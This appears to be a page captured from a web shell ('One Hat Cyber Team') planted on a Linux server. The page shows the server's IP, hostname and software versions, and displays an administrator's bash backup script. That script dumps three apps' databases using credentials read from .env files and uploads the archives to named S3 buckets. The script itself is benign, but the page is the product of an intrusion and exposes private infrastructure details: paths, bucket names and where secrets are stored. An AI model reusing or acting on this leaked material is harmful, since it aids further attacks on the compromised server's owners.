⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.13
Server IP:
109.199.105.153
Server:
Linux connect.inboxifs.com 5.15.0-152-generic #162-Ubuntu SMP Wed Jul 23 09:48:42 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
admin
/
scripts
/
View File Name :
multi_backup_script.sh
#!/bin/bash ######################################################################### # CRON-SAFE ENVIRONMENT ######################################################################### export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin export HOME=/root export S3CMD_CONFIG=/root/.s3cfg ######################################################################### # START ######################################################################### echo "=== Multi-App Backup Script started at $(/bin/date) ===" set -x ######################################################################### # CONFIG ######################################################################### BACKUP_DIR="/home/admin/backups" MAX_DAYS=10 HOSTNAME=$(/bin/hostname) DATE=$(/bin/date -d "now" +"%F_%H-%M-%S" --utc) TODAY=$(/bin/date -d "now" +"%F" --utc) ERROR_LOG="$BACKUP_DIR/error.log" CRON_LOG="$BACKUP_DIR/cron_log.txt" mkdir -p "$BACKUP_DIR" ######################################################################### # APP PATHS & S3 BUCKETS ######################################################################### declare -A APPS APPS["alegha"]="/home/alegha/public_html" APPS["emploice"]="/home/emploice/public_html" APPS["oasizs"]="/home/oasizs/public_html" declare -A S3_BUCKETS S3_BUCKETS["alegha"]="s3://santa/important/alegha-backups" S3_BUCKETS["emploice"]="s3://santa/important/emploice-backups" S3_BUCKETS["oasizs"]="s3://santa/important/oasizs-backups" ######################################################################### # BACKUP LOOP ######################################################################### for APP_NAME in "${!APPS[@]}"; do APP_PATH="${APPS[$APP_NAME]}" S3_BUCKET="${S3_BUCKETS[$APP_NAME]}" ENV_FILE="$APP_PATH/.env" echo "=== Processing $APP_NAME ===" if [ ! -f "$ENV_FILE" ]; then echo "⚠️ Skipping $APP_NAME — .env not found" continue fi # DB credentials DB_HOST=$(/bin/grep '^DB_HOST=' "$ENV_FILE" | /usr/bin/cut -d '=' -f2) DB_PORT=$(/bin/grep '^DB_PORT=' "$ENV_FILE" | /usr/bin/cut -d '=' -f2) DB_USER=$(/bin/grep '^DB_USERNAME=' "$ENV_FILE" | /usr/bin/cut -d '=' -f2) DB_PASS=$(/bin/grep '^DB_PASSWORD=' "$ENV_FILE" | /usr/bin/cut -d '=' -f2 | /usr/bin/tr -d '"') DB_NAME=$(/bin/grep '^DB_DATABASE=' "$ENV_FILE" | /usr/bin/cut -d '=' -f2) BACKUP_NAME="${APP_NAME}_backup_${TODAY}_${DATE}.tar.gz" TMP_DIR="$BACKUP_DIR/${APP_NAME}_${TODAY}_${DATE}" mkdir -p "$TMP_DIR" echo "Backing up database: $DB_NAME" /usr/bin/mysqldump \ -h"$DB_HOST" \ -P"$DB_PORT" \ -u"$DB_USER" \ -p"$DB_PASS" \ "$DB_NAME" \ > "$TMP_DIR/${DB_NAME}_${DATE}.sql" 2>> "$ERROR_LOG" echo "Backing up full public_html..." /bin/tar -czf \ "$TMP_DIR/public_html_${DATE}.tar.gz" \ -C "$APP_PATH" . 2>> "$ERROR_LOG" echo "Creating final archive..." /bin/tar -czf \ "$BACKUP_DIR/$BACKUP_NAME" \ -C "$TMP_DIR" . 2>> "$ERROR_LOG" echo "Uploading to S3 → $S3_BUCKET" if /usr/bin/s3cmd put "$BACKUP_DIR/$BACKUP_NAME" "$S3_BUCKET/" >> "$CRON_LOG" 2>&1; then echo "✅ Upload successful for $APP_NAME" rm -rf "$TMP_DIR" rm -f "$BACKUP_DIR/$BACKUP_NAME" else echo "❌ Upload FAILED for $APP_NAME" fi done ######################################################################### # S3 RETENTION (DELETE FILES OLDER THAN MAX_DAYS) ######################################################################### echo "Applying S3 retention policy..." for APP_NAME in "${!S3_BUCKETS[@]}"; do S3_BUCKET="${S3_BUCKETS[$APP_NAME]}" echo "Checking $S3_BUCKET" /usr/bin/s3cmd ls "$S3_BUCKET/" | while read -r LINE; do FILE_DATE=$(echo "$LINE" | awk '{print $1" "$2}') FILE_PATH=$(echo "$LINE" | awk '{print $4}') [ -z "$FILE_PATH" ] && continue FILE_TS=$(/bin/date -d "$FILE_DATE" +%s) NOW_TS=$(/bin/date +%s) AGE_DAYS=$(( (NOW_TS - FILE_TS) / 86400 )) if [ "$AGE_DAYS" -gt "$MAX_DAYS" ]; then echo "Deleting old backup ($AGE_DAYS days): $FILE_PATH" /usr/bin/s3cmd del "$FILE_PATH" >> "$CRON_LOG" 2>&1 fi done done echo "=== Backup process completed at $(/bin/date) ==="